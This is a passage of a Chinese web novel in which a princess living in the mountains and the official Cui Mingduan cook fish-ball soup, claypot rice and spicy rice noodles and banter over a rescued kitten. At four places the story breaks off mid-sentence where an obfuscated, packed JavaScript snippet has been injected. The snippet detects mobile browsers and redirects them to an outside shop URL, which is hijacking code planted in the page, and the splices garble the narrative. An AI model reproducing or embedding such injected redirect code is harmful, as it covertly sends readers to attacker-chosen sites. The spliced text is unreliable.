这位，与绪安年纪相仿，大抵也是近墨者黑，心直口快又承袭了荀二郎喜好美食的点。 崔明端抬袖闻了闻，也跟着哄了一声，“你可嗅出何种鱼了？” 大雪封路，连上值都不用去了。荀二郎自然知道崔明端不是来陪这小娃娃论鱼的，让嬷嬷带了下去。 柴氏也是开门见山问道：“妾身看崔大人匆匆而来，莫不是去了城外？郡主可有什么话带给妾身？” 荀二郎怀里还抱着个小姑娘。兄妹二人是双生子，人小鬼大又心意相通，一听是郡主，便晓得是那一位神奇的郡主—— 城里的厨子，都没她厉害。郡主能做好吃的面包…… 这刚要起身的小姑娘，霎时眼泪汪汪。小郎君也是想到这茬，又对着崔明端的嗅了嗅，仿佛只招人的小狗狗。 这连番动作，不说是柴氏没眼看，连荀二郎都打趣道：“犬子犬子……从前只道是自谦，今日真真是让崔兄见笑了。” 幸好荀小郎君也不是绪安那朵招人的大花，否则得说一声：“本公子长得好笑吗？” 上回柴氏特意去了一趟梅花坞，崔明端也有意让萧鸣笙在京城里多个友人，便美言几句，“山路难行，嫂夫人便是记挂着，也得等雪彻底化了再去。” 闻言，柴氏也焦急望着大雪天。自己在家，有两个孩子相陪，还有荀二郎——也不知他那日是怎么了。近来黏人得很，还说犬子，他就是个大犬。 床榻间，情事缠绵，也让人恼！ 柴氏借故带了孩子们出去，让他们说正事去。 崔明端今儿过来，其实也算是受她所托。 柴氏送的礼物丰厚，萧鸣笙回了礼，但觉着还是轻了。 在装鱼丸时，她念叨了一个食方。 而崔明端这会儿，也学着她借花献佛了。“我带了一些鱼丸过来，天寒地冻的，要借小郎君的福气，吃一碗玉茄鱼丸汤了。” 玉茄入菜，荀家往日也会做。但今天要宴客，荀二郎又让人将炉子搬了过来，食材是厨娘们切好的。 香菇、胡萝卜也分别切成小丁，鱼丸也清洗好备用。 “崔兄既是说了个方子来勾人，又说这法子简单，可是要亲自下厨，不然可别带坏了犬子。” 荀家犬子在一旁嗷嗷待哺。 崔明端算是赶鸭子上架。要是让他一口气做数十篇诗文，都不在话下。但是，下厨，还是头一遭。 柴氏也拍了拍荀二郎的肩膀，谁知他不正经，捉了妻子的手，耳语道：“我晓得夫人想与郡主交好，我这不是也在给郡主送人情么？” “呸，什么叫想？我与郡主，本就是相见恨晚，比你们这二十来年的情谊还好呢……” 手，却是被不轻不重捏了捏。 荀二郎呼吸霎时重了几分。 呸，好生不要脸的儿郎。柴氏将帕子甩他脸上散火，又轻咳一声。 崔明端再手足无措，也有阿藤帮着，锅里下了油，再下葱姜蒜爆香，一股脑将香菇丁和萝卜丁放进去炒香。 底下炭火足，锅里噼啪作响，让端方君子也急了，赶忙舀了一大勺水放了进去。 荀二郎捧腹大笑，谁知，除了妻子怒目而视，心肝上的两个小人也在瞪他：“爹爹都不会做饭，还要笑话崔叔叔，羞羞羞……” 荀二郎：“……”怎么着，这食方也不是多稀罕，这也还没吃上？怎么一家子就被崔兄勾走了？失策失策。 锅里再热闹，下了半锅的水，便好了许多。 这会儿，崔明端也稍稍喘了口气，靠着过耳不忘的本事，下了酱油、盐，再加几勺玉茄酱，最后一样，便是糖了。 他稍稍一顿，才舀了一勺，搅拌均匀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116609|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开锅后放入鱼丸、玉米粒，等鱼丸煮到浮起就可以关火出锅。 等着锅开时，锅边已经聚集了好几人。 玉茄酱煮汤，孩童都能吃。故而，她才念叨着这个食方。 若不是那鱼丸的量不多，或是她该亲自煮了，让他带下山来。 不过—— 他也不是只会读圣贤书。 “崔叔叔，你好香啊……” “错啦，是这个汤好香……” 兄妹二人你一言我一语，崔明端亦是翘起了唇角，让他们远一点。 锅里红通通的，再咕噜噜冒着泡，该把鱼丸放下去了。 崔明端抬眸去看一眼荀二郎的“犬子”，怜爱之心大盛。 原是掌了勺，便想养人。也不知她操持今日饭食，是何心境？ 带着一二情思，雪白的鱼丸也放了进去，一同作配的，还有金黄的玉米粒，咕噜噜在玉茄汤里翻滚着。 ——丸子浮起来，便可出锅。 她的絮语，犹在耳畔。再细看其中，崔明端眉眼尽是柔情。 荀二郎直呼酸酸酸，偏偏他的犬子还没到能领会复杂语句的时候，义正词严纠正道：“明明是酸甜的，爹爹是不是牙不好了？” “要少吃饴糖。”小姑娘又补上一句。 随着小兄妹一唱一和，崔氏鱼丸汤总算是出了锅。 崔明端掌勺，一人分了一碗。 因着这鱼丸是郡主给的，荀二郎比两个小家伙还期待。他按着两个小的，让他们记得吹气，堂屋里一时呼声大作。 不料，第一个被烫着的，是柴氏。 她着急吃，舌尖被烫了一下，吐着红红的舌尖，荀二郎赶忙是起身去看。 原也不是什么要紧事，偏偏两个小不点又不约而同捂了眼睛，可惜漏了个大大的指缝，又指点崔明端：“崔叔叔，快捂眼睛。” 崔明端：“……”这下，真真是酸的。 他在荀家，当真是多余又碍事。 他不捂眼，只是垂首，凝神去看眼前的玉茄汤。汤汁浓郁，香气扑鼻，好不容易吹凉了，入口一尝，酸甜可口。 盐没放多，糖也没加多。 果真是个简单的方。 而这道汤最最关键的，便是那些鱼丸了。形状不甚规整，她说，是将青鱼肉泥聚成一团，由虎口挤出来，直接掉到水里滚熟，讲究一个快准稳。 他垂眸看着自己的虎口，霎时面一热。 早知如此—— 便不分给荀二郎了。 也不大想带回家去，她亲手所制之物，皆想私藏起来。 与满腔私情的大人不同，小兄妹好不容易给鱼丸吹了数十个气，再张口一咬，不费劲。 小郎君已有荀二郎一二风范，正儿八经点评道：“弹牙，鲜甜，好吃。” 最后这个“好吃”，倒更像是词语匮乏的崔叔叔会说的。 崔明端亦是觉着，好吃。 玉茄汤酸甜开胃，一人一碗，吃得身上暖乎乎。 吃完了还意犹未尽，小兄妹去看那口光溜溜的锅，勾肩搭背道：“爹爹比崔叔叔还不中用啊，下回还是靠我们去拜见郡主吧。” 72.芋头煲仔饭 柴氏好不容易哄着兄妹两个去睡会儿，荀二郎其实也想去榻上歇一歇，但吃着了好东西，总是要听一听挚友的烦恼。 “知我者，荀兄也。” 崔明端来，说的便是吉安府的案子。原不过是普通的争议。 两家人要起屋，碍着中间是一棵极大的柳树，这部分是谁的，谁也不让。 这搁康熙朝大学士张英身上，便有“千里家书只为墙，让他三尺又何妨。万里长城今犹在，不见当年秦始皇”诗文传世，再有六尺巷的美谈。 萧鸣笙如果知晓崔大人瞒了这事，势必要念叨他几句：寒冬腊月的，这多么适宜打发时间——她一个无所事事的郡主听个乐，他心怀百姓办个案，两全其美！ 这事，本也不是个多要紧的案子，只是出的她的封地。 两家原本只是面上闹着不好看，但其中一家的小郎君却不知为何夭折了。 那家四代单传，觉着邻居杀了人。但衙门里查了，判邻居无罪。 可没过两天，邻居家的孙子失踪了。 如今生不见人，死不见尸。 “既是人命官司，又是吉安府的案子，怎么也轮不到你们陵安府管吧。” 荀二郎换了个姿势靠着凭几，再三思索道，“我记得郡主家，似乎没有旁支在吉安……崔兄是烦恼何事？” 崔明端本也是如此想的，但是萧家一脉已无男丁。吉安民间流传着一个说法，郡主受过伤，子嗣或是难了。出了孝，要来封地养病，是要择一个好的养在膝下。 “哈哈哈哈……京城最是胆大的说书先生都不敢这么编……”荀二郎笑得前俯后仰，又凑过去，“崔兄，我说一句大不敬的话，即便是郡主身子不好，难不成你的身子也——” “咳……” 荀二郎行事乖张，对着他赤裸裸的打量，崔明端当即拂袖将身上某个部位盖了盖。 “我数数，崔兄如今也二十有四了吧……莫不是……” “非礼勿言。” 荀二郎后头跟着什么，二人心知肚明。 崔明端耳根都红了起来，荀二郎若真是守礼的人，便不会开这个话头。他搭了挚友的肩膀，收敛过分肆意的笑，难得有几分正经，“崔兄觉着我在玩笑，我却是认真的。虽说你们成婚的吉日没定下，但有些事，是该好好想一想。” 譬如，子嗣。 这二字，不用荀二郎提，崔明端自能领会。 世家大族里，主母若是不能有孕，自有妾室诞下婴孩。 这下可好了，崔明端的烦忧没解，反而再添一桩。 荀二郎也知他与郡主，不过是春心微动，来思虑这些怕是为时过早——然而，到婚后情淡时，再没孩子牵绊着，是纳妾还是过继？若是争辩起来，倒白白辜负了这段情缘。 这桩婚事，是先皇御赐的。但是，清河崔氏的声望摆那儿，总不能由她一个异姓郡主拦着不让纳妾吧？ 崔三爷，倒是不曾纳妾。依他看，崔明端相貌秉性，都随了崔三爷。 荀二郎也没和崔明端客气，由着他如来时一般出府去，对着漫天飞雪幽幽一叹。 柴氏不知几时回的，对着他就是一阵冷哼，“你若要纳妾，可趁面皮还能看多纳几个……省得还要挑拨别人也纳。” ——不用等相看，她即刻带着孩子别地而居。 荀二郎不想将这小祖宗惹着了，当即是勾了人过去。柴氏性子直，脑筋也直，他一招手，一面说他，还老老实实走过去。 不想只一个动作，人已经是落他怀中。 “夫人当真是冤了我。郡主身子不好，还做了好些美食，都说吃人最短，我荀二郎再混账，也不忘恩负义，恩将仇报的人吧？” “哼，怎么不是了？当年你就是骗了我。” …… 当年事，那可有得说道了。 崔明端踩上脚凳时，下意识回头看一眼，荀家门口的石狮子落了好些雪，再望城外青山，何尝不是白头之意？ 荀二郎做了两回的坏人，不想挚友还能如此想，他是白白唱了一回白脸了。 柴氏也啐了他一口：“小——” 后面跟着的话，没来得及说，又教人压住了。再如何伏低做小，这“小”字，绝不能出现在床笫之事上。 * 内城纷纷扰扰，山里清幽宁静，可萧鸣笙也忙着呢。 忙着吐刺。 天下人都知道荣安郡主孝顺，要为双亲守孝六年，故而内侍省从没送过一丁点荤腥来。 卢妈妈是西北人，又老实本分，不觉得有什么。 眼下，有了青鱼，招待客人用剩下的鱼尾巴，家里人竟吃不了—— 不说是阿草了，就连袁志都被鱼刺卡了一回。 萧鸣笙是沿海城市长大的，吃鱼吐刺，仿佛是血脉里自带的技能，才恍然想起萧家算是土生土长的西北人。 这鱼尾巴，竟无人能吃。 她就是能吃，也架不住鱼多。 “这……如今也只剩下些鱼头和鱼尾巴了。要不袁志收拾几个，拿到山下给包子吃？” 萧鸣笙说的迟疑，还念着从前桂贤的祸事，就是从她送的一条鱼开始 这一回，不能也好心办了坏事吧？ 但浪费食物，实在可耻。 好在包家父子深一脚浅一脚上山来了，也没空着手。 乡下人家，实在没什么好东西拿得出手。上回听说姑娘喜欢吃芋头，便又带了满满一篮子芋头来。 “鱼头换芋头，说来还是我赚了，这芋头只需要削去薄薄一层皮，剩下都能吃个干净。我倒是厚颜，请你们尝的是没肉的鱼头和鱼尾吧。” 但是，对普通人家，这两样也是好东西。 包子看了阿爹，也不敢收下，“鱼头熬汤，很补身子的……” “就是再补，它不能像芋头一样放久了。我午食吃了半锅，家里还有好些个。已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128023|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留了两个冰在雪地里了，你们且安心带着回去就是。或是送一个给村长也补补？” 萧鸣笙尽可能给包家也想个不得罪人的法子。 包子红着脸，小声说道：“我是看今天好像有人上山来了……但是雪大，看不清是谁……怕是个坏人……” 才不是要来吃姑娘鱼的。 “是了，是陵安府的大人来一趟。和你们一样，都是好人。” …… 在城里郁郁的崔明端不知被发了好人卡，包子则是带着满满一篮子鱼头鱼尾下山了。 萧家的夕食，不能吃鱼尾巴，然而萧鸣笙已经想到了，芋头腊肠煲仔饭。 今日的精力，用来招待崔大人了，夕食再做一顿，估计卢妈妈又焦虑得围着她转圈了。 煲仔饭，可真是一道省事又可口的美食。 家里的砂锅，是袁志进城的时候，萧鸣笙让买的。 一口气买了十个，可把卢妈妈心疼坏了，还道是袁志买错了煮药的壶。 听说是做饭，那也心疼，买两个也顶天了。 但是，阿草只问了一声，“那卢妈妈买那么多个铁锅做什么？” “……” 这下，卢妈妈反而是心虚走了。 萧鸣笙给锅里刷上一层薄油，又想到了卢妈妈当时怪异的神情，招了阿草一问。 她也是不知，但看了郡主案板上红彤彤的腊肉，认真想了想答：“可能是要煮羊吧。” “……”这下轮到萧鸣笙无语凝噎。 萧家守孝六年，连荤腥都没沾。家里的老仆预备几个大铁锅吃土她信，吃羊——那可省省吧。 但卢妈妈脸色为难，也不方面问。还是做饭吧。 米已经提前浸泡一炷香，倒入砂锅，加一倍多的水，大火煮开，小火焖煮，铺上腊肉和香肠。 这会儿功夫，将香芋放入油锅里煎至两面金黄，和煮熟的栗子一起码在米饭上。 萧鸣笙还偷空往三个砂锅锅边淋上了花雕酒，一时酒香四溢，把阿草看得一愣一愣的，“等下有锅巴，你爱吃的。” 阿草呐呐应下，不好说她更喜欢吃这碗酒。 冬日没有绿叶蔬菜，只能用胡萝卜丁和香菇丁来点缀。 最后，夹些许的姜丝，再往中间打上个蛋，盖盖焖六十个数，便可出锅。 不时开盖又盖上，阿草有些手忙脚乱，但出锅闻到腊肉的香气，不住吸溜着口水，“郡主这个好，比崔大人的还好吃。” “……那当然了，崔大人是客人，得□□致的。” 萧鸣笙随口道一句，又递给她不同的酱料汁子。以她一个不甚严谨的厨子而言，是要淋上酱油，搅拌搅拌。 但是阿草他们的口重些，她另外调了辣酱。 于是乎，一锅正宗的广式煲仔饭，与三个不伦不类的辣肉饭便上桌了。 萧鸣笙第一口便吃了腊肉，油脂浸入米饭，腊肉不油，只留下咸香。 73.砂锅米线 崔明端想让她安心养病，不敢将外头的琐事来扰了她，殊不知她原就不是花房里的一枝花。 小寒二候，喜鹊不知是从何处衔来的湿泥，尽往高耸的屋檐下筑巢。 崔家在办岁寒宴，院中有一株百年腊梅，年年花满枝头。 有位巧嘴的妇人朝崔夫人贺喜道：“都说宅子现四喜，家中出能人。今年崔大人调任陵安府，这往后还有的升呢。” 这样的吉祥话，谁不爱听？何况崔三夫人是真真看重崔明端。 众人便就着崔大人幼时的琐事，说得津津有味。 偏里头就有不称心的夫人，饮下温好的酒，还要刺一句：“我没读几本书，眼神也不大好，怎么看那喜鹊的尾巴长长的，可别应了那句坏的？嗐，罪过罪过……我这嘴啊，怎么才吃了一杯酒，就醉糊涂了……崔家六郎是何等人物，怎么能做出叫夫人伤心的事呢？” 跟着来的，除了各家夫人，还有小娘子。 这样的赏花雅事，个个盛装打扮，远远看过去，竟像是春日里的花在争奇斗艳。 她们年纪小，又是都是高门贵女，只能听出这位夫人语气不善，却不知她暗讽哪一句？ ——白喜鹊尾巴长，娶了媳妇忘了娘。 这样粗俗的俚语，小娘子们没听过。夫人们却是知的。众人修养极好，赔笑的赔笑，咳嗽的咳嗽，添酒的添酒，再找了另外的话揭过去。 有了这插曲，等宴席散了，崔夫人心里的气还是不顺，“六郎呢？” 仆妇们大气不敢出。 崔夫人不用想也知道，近日他不是去陵安府，便是去那儿了，她默默掏了帕子，一味哭着：“我的儿子，竟要成别人的了……” 屋檐外的喜鹊，仍是不知疲倦在筑巢，往来振翅，也时不时发出欢快的叽喳声。 等崔明端回府，也听过宴会上的事。阿藤将消息打听得清楚，“那位夫人……膝下原本有两位儿郎，大郎君身强体健，酷爱武学，入了禁卫军，又去了西北历练……可惜……” 可惜，西北折了多少儿郎进去。 崔明端堪堪迈过主院的门槛，吩咐阿藤将东西送去族老那边，说是郡主赏的。 “那三房，是否要留下一些？” 崔明端也为难，最后还是留下一些，让人煮了汤，送到母亲房里。 他在院子里踱步，青砖石被下人铲得干干净净。空空荡荡，仿佛从未下过雪一般。 梅花坞山高林密，雪停了，萧鸣笙也从屋里出来，就对着重新竖起的靶子开始练习。 阿草闲的发慌，便去看天上飞过的鸟儿，“郡主，你看，喜鹊喜鹊……” 萧鸣笙才瞄好的动作，便这么一松，堪堪挂在靶子边缘。 卢妈妈不懂射箭，但也知阿草惊扰了郡主，赶忙道了一句：“听人说是喜鹊搭窝，喜事多多。西北可看不到这样好看的鸟，阿草你去一旁认真看着就是了。” 萧鸣笙顺势也放了弓箭，可鸟儿迅捷，一下便没了踪迹。 “今日练习的数量也够了，要不我做点东西给你吃？” “好呀好呀……” 阿草将箭都收了回来，看到郡主发红的手指，提醒道：“药，崔大人说要用三次。” 萧鸣笙低头一看，确实是红红的，是北风刮的，弓弦磨的。再借着雪光一看，仿佛是看到了一个小黑点，若隐若现。 她快速眨巴着眼睛——虎口处，似有一颗痣。 记事后，她曾经一本正经跟父母说：要是她走丢了，可以按这个记号来辨认，千万不要招了一只假猴子回来。 萧鸣笙有些纳闷，再一眨眼，那颗痣又不见了，光洁如初。她怕原身吃多了素食，眼神不大好了，便伸到阿草眼下，“我的手，可沾了什么？” 这原是一双挽过大弓退敌的手，如今光洁纤瘦，不堪秋风一扫。 阿草低头凑近，来来回回看了一遍，还是那句话：“伤着了。崔大人说，郡主要擦三次药。” “……也不知是收了人家什么好处，怎么就光记得崔大人的话呢？”萧鸣笙戏谑道。 “只要是对郡主好的，我都记得。”阿草又指自己的脑袋。 萧鸣笙目光一暗。侯府的府医回去后，只是拟了一张方子，又托崔大人送了一份赔罪的礼物过来。 药是崔家铺子配的，阿藤说可以放心用。 对着那两串药包，和侯府的赔礼，萧鸣笙只是笑笑，又让卢妈妈开了库房，挑了份回了礼。 阿草自己不想吃药。往年给郡主熬药，她知道要费很多炭。卢妈妈说的对，不能因为一下子多了不少东西，就大手大脚起来。 今日，萧鸣笙想做多一些糖葫芦，一碗药换一串糖葫芦。崔大人也说是一副活血化瘀，通筋活络的好方子。 “昨日的煲仔饭，热乎乎的，我看你很喜欢吃，左右这锅子已经拿出来了，要不再做一道热的如何？以前吃多了面食，你爱吃米线么？内侍省送了好些米线过来，我给你做一道砂锅米线。” 砂锅米线，同样不费事。家里的丸子还有。最重要的是，她有新鲜的豆芽。 趁着大雪前，袁志去河里挖了一些河沙回来。沙子透气疏水，很适合泡发豆芽。 稍稍冲洗一番后，竹篮铺上麻布，再均匀倒上沙子，不用多高，约莫一个指节就够。再将泡发了一夜的绿豆也放进去，稍稍铺平，不可贪多，盖上一层薄薄的沙子，放在通风遮光的地方。 眼下是冬日，还要挑温暖的地方放着——能满足这三个条件的，就是灶房了。 温度达标，每天喷一点点水，给绿豆一点时间。等长到一指高，就是最美味时。 萧鸣笙小心翼翼将一撮豆芽拔出来，掸一掸根部的沙子。 “冬日真能长豆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144813|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，郡主真厉害。” 阿草最捧场，帮着把沾沙的豆芽清洗干净。 萧鸣笙则是去做锅底。锅里加入粗细辣椒面、花椒粉、十三香、葱姜沫、盐、芝麻，浇上热油，加入适量水，放入粗圆的红薯粉、豆皮、鱼丸和豆芽。 盖上盖子，煮个半刻钟。 阿草探头看豆皮切成细条，又放进锅里，不免想起了用豆皮垫着的葫芦肉，“郡主，过几日，我们还做那个葫芦吗？” 萧鸣笙和她处熟了，也听出是蒲包肉，“你想吃，我都给做。但是……” 阿草的笑意，便垮在了“但是”里。 “药，是苦了些。但是，你看，我是不是也一直在吃？”萧鸣笙循循善诱。 “……不是。”阿草小声嘀咕。 趁着卢妈妈不在灶房里，她左顾右盼，最后才小声说道：“有一阵子，郡主也不想吃药，我也帮着瞒了卢妈妈。郡主，我能不能也不吃？” “……” 好家伙，原身这身体……还不仅仅是营养不够、忧思伤心的缘故啊！ 萧鸣笙若有所思，阿草以为郡主是心虚了，又嘻嘻傻笑了两声，“不过御医院开的药，我看还没道长的好，郡主吃几日就好了。” 这些，萧鸣笙都说不明白，只能成就道长的神医之名，“我也觉着道长医术好，这样，等开春了，我带你去道观见见道长，也请她为你治一治。” 绕了一圈，又回到吃药上。不过，阿草担心的只是郡主的炭，道长给的是一粒粒的药丸子，她能吃的。 萧鸣笙误以为是自己的一番苦心劝服了阿草，皆大欢喜。 主仆二人欢欢喜喜去吃砂锅米线。红薯粉滑溜溜的，稍不注意，便被烫着了。 “先吃豆芽丸子……” 萧鸣笙甚是不放心叮嘱一声，阿草呲着白牙，憨憨傻笑，“我知道的，郡主你快些吃。” 豆芽没煮多长时间，口感略脆，汁水充盈，带着特有的香气。 “郡主，这个豆芽好吃，你还要么？”吃着了好东西，阿草也不敢全吃了。 “我还要留着肚皮吃丸子和粉，你自己吃。” 萧鸣笙舀了半勺汤，红亮，椒香四溢，尝了一口，便呛咳了数声。 门外响起幽幽叹气声，与雪光一同透进来的，还有崔家六郎挺拔的身影。 “臣给郡主请安。” “……” 萧鸣笙当即倒吸一口凉气。这崔大人来的时间，是越来越不可捉摸了。眼下不是饭时么？ 正是饭时，萧家满屋的香辣之气，不止是她被呛住了，似乎还有一个古怪的声响。 没等她开口迎人，便看到端方君子崔六郎的袖口，好像有个什么东西蛄蛹蛄蛹在动。 嘶……崔大人，冬日这般不怕冷，本体莫不是某种冷血动物吧？ 闻到了辣椒要变身？ 74.问政山笋 “嗷……呜……” 奶声奶气的嗷呜声，从崔明端的袖口传来。 崔大人今日的狐裘是墨色的，油光水滑，明眼一看便知是个好料子——那也不至于能处处隔绝严寒吧？ 萧鸣笙瞧他的耳朵亦是红通通。行过冠礼的儿郎，束发的发冠皆是玉，玉随人，皆是清冷模样。 “大人……” 原是想问问，他出门怎就不带个毛毡帽呢？崔家六郎宛如林间青松，便是戴了帽，能损多少风姿？ “嗷……” 狐裘之下，再度有异响。一个毛茸茸的小家伙探头出来，与狐裘俨然如一体。 “啊？”萧鸣笙惊诧不已，稍稍弯了腰上去看小家伙，再抬头去看——崔大人莫不是变身成了一只小奶猫？ 这般想着，神色变化已然摆在了脸上。 “郡主……” 头顶是某人义正词严的叹息。如他这般清正，便是想说她一声，反差之大，仿若是个幽怨的男子求而不得。 实则，崔明端可不正是求而不得么？ 今日，去了眠山的道观，原以为有了前一番的坐谈，父亲该是愿意见见自己的。 然而，道童还是传了一样的话。 大抵是曾经得到过，所以今日伤情更大些。 * 萧家待客，从来都是一壶粗茶，但罕见上了几根水灵灵的豆芽。 “你吃不吃呀？” 招呼的，自然不是崔大人。 等将人迎进屋里来，萧鸣笙才看清他揣在袖中的，是一只毛茸茸的小奶猫。 “大人，它多大了呀？”有了奶猫在前，她的话音更是娇软。 崔明端暗自收敛了多余的情思，“方才在路上捡到的，瞧着约莫是两个月左右？” “外头的雪这样大，这小家伙莫不是离家出走，遇着了大人？” 这只小奶猫，个头不大，细长细长的，不过身上很是干净，连个泪沟也没有，确实不像是一猫独自流浪。 小家伙案几上走来走去，脚底下是崔大人铺的锦帕。她猫着身子去瞅，暗黑的毛底，表面像是洒满了金丝银线，小眼圆瞪，黄溜溜的，脚底黑黢黢的。 难怪古人管玳瑁猫猫叫滚地锦，实在是—— “潦草。” “啊？” “若不然，取名为潦草如何？” “……” 这会儿，萧鸣笙啊也啊不出了，气鼓鼓瞪了他——的袖口一眼，再怜爱望着猫猫虫对着他的帕子走走闻闻，越发可怜。 再怎么说，也是亲手捡到的吧？还潦草呢？ 依她看，崔大人此番就一整个潦草！他一个天子钦点的探花郎，潦草这名可对得起腹内万千诗书？ 哼！潦草的崔家六郎！ “即便是大人家的猫猫，取名……也和我家阿草撞了呢……” 她腹诽不已，弱弱提出抗议，再拿了豆芽去哄猫猫吃。 可这猫猫不赏脸，坐下就开始舔手手，颇有某人淡然自若模样。 啊……她这心，更痛了。 崔明端原本只是想博她一笑，谁知她当了真。转念一想，潦草，这名也无不可。 “小名微末些，好养活。” 也不知是说这只在雪地里扑腾的小可怜，还是重伤后活下来的阿草。 萧鸣笙也觉着自己好养，只这么一句，便关切问道：“大人吃饭了么？” “……” 话是问他的，只是目光一直黏在猫猫身上，半分也舍不得移开。 原也该说是吃了，但，口不由心，“尚未。” “那……天寒地冻的，大人留下用些，粗茶淡饭，切莫推辞。” 萧鸣笙原也只是随口一问，殊不知她也不曾用饭。 方才那锅，是香辣的，好吃是好吃。卢妈妈他们都吃了个干净。这身体的底子还是太薄了。正好再做一碗清汤粉来垫垫肚子。 今早，包子提了只宰杀好的老母鸡来，小脸被北风刮出一片燥红。 一只鸡，在乡下，那可是一家的重要财产，一日还能下一个鸡蛋呢！ 萧鸣笙才叹口气，包子又赶忙说道：“我阿娘说，不能厚着脸皮吃了姑娘的鱼头和鱼尾。姑娘单吃鱼汤腻了，就换换口味，吃鸡汤。老母鸡养了好些年了，都懒得下蛋了，但炖汤可香了。” 这鸡，杀也杀了，萧鸣笙也只能收下，但是虎着脸告诉他，“那我今日送些糕饼给你吃，是感念你大雪天跑来看我。明日再杀了鸡，提了蛋来，我可是要生气的。” “嘻嘻……”包子就摸着后脑勺，嘿嘿傻笑，也不应这个问题。 临走前，萧鸣笙也请他跑个腿，帮个忙。 这梅花坞方圆十里，都是她的。 她预备在山下官道旁边，盖一个小茶楼。食摊计划还久着，开春还有三两个月。 冬日挖土起屋，正好用上闲下来的劳动力。 “我家也不曾盖过房子，劳你问问你阿爹，或是村里有经验的人，约莫是要多少木材，多少工人和银子？” “姑娘这事不难办。” 包子直起腰，指着山下家里的方向，“我家的房屋，就是村里的叔伯帮着弄的。去年，有一户的兄弟分了家，才起了新屋呢，要是姑娘这个房子……不像你住的这个这么大……” “暂且不用这么大，你进过城，看过小食店么？约莫是两三家铺面那般大就成，无需繁琐。” “那这简单，我们村里兄弟姐妹多，约莫也是这样大的房子。姑娘你等我回去问，午后就来告诉你。” …… 这繁琐细碎的事，她有意交给包家来做。 开工吉日，她早已经花了巨资，请崔大人算过了。 只是，一向颇有效率的人，迟迟没有回音。 萧鸣笙将早上泡的笋干捞起切丝，分神去看灶前坐着的大神，和毛茸茸的小可爱。也不知今日崔大人怎么坚持要跟来灶房，但是他有猫，在火光的映照下，猫猫的皮毛大衣熠熠生辉。 她竭力抿着唇，才不至于笑得花枝招展。崔大人今日是个心软的神，将潦草捡了回来。 一人一猫就在灶前烤着火，异常安静和谐，以至于她心里已经接受了这个潦草的名字。 “锅里炖的老母鸡，还是包子送来的，我看这孩子伶俐，嘴巴也牢靠，打算将些琐事交给他来做。不知大人可算出了开工吉日？” 崔明端腹内空空，再经由鸡汤的香气一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152489|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熏，灶膛的热火一烤，难得放松假寐片刻。 怀中的潦草亦是酣畅打着呼噜，实在是催眠。 “吉日……若是这个月的，十八，二十，二十六皆可。” “嗯，多谢大人了。” “郡主……” 崔明端显然有话要说，然而握着潦草的前腿，再看砧板上细细的笋丝，终是换了句话，“这是，什么笋？” “问政笋，是荀夫人送的。”萧鸣笙瞧他稍稍蹙了眉，也不知是何处出了错，便问道，“早前听说问政山笋甲天下，正好有老母鸡的汤来煨。大人若是着急回城，我便做用腊肉来炖煮，腊香问政笋，这法子，也是荀夫人告诉我的。” “臣不急，倒是失礼了。”崔明端从中挑了个答，垂眸望着地上的柴枝，往里头添了一块。 问政山笋，是贡品。按理来说，她的份例是有的。唉，萧家诸事，已不能用常理来论。他不想多嘴，平添她的忧愁，便认认真真给灶膛添柴。 不过，他从未做过这等粗活，动作生涩，思虑良久，着实是招人怜爱—— 咳咳，是他的猫猫，招人怜爱。 萧鸣笙也赶忙是收敛了笑，捞出两个大鸡腿出来，预备再做一道炒鸡腿蘑菇，用秋油和酒来炒，滋味甚好。 而今大雪封山，用的蘑菇，自然也是干货，也随笋干一道送的。 柴氏给她讲了两个方子，另一个是用香菇蘑菇来增香，名为两香问政笋，都是她爱吃的味道，幼时在外祖家总吃着，如今远嫁京城，只能以此解解思乡之情，温习怀故之梦。 崔大人来的巧，可以先用清汤鱼丸米线汤垫肚子，再吃个大鸡腿，便有足够的时间来等笋汤。 二人已不是第一次同桌而食，这两锅清汤米线汤，也的是细米线，煮起来更快，适合饥肠辘辘的崔大人。 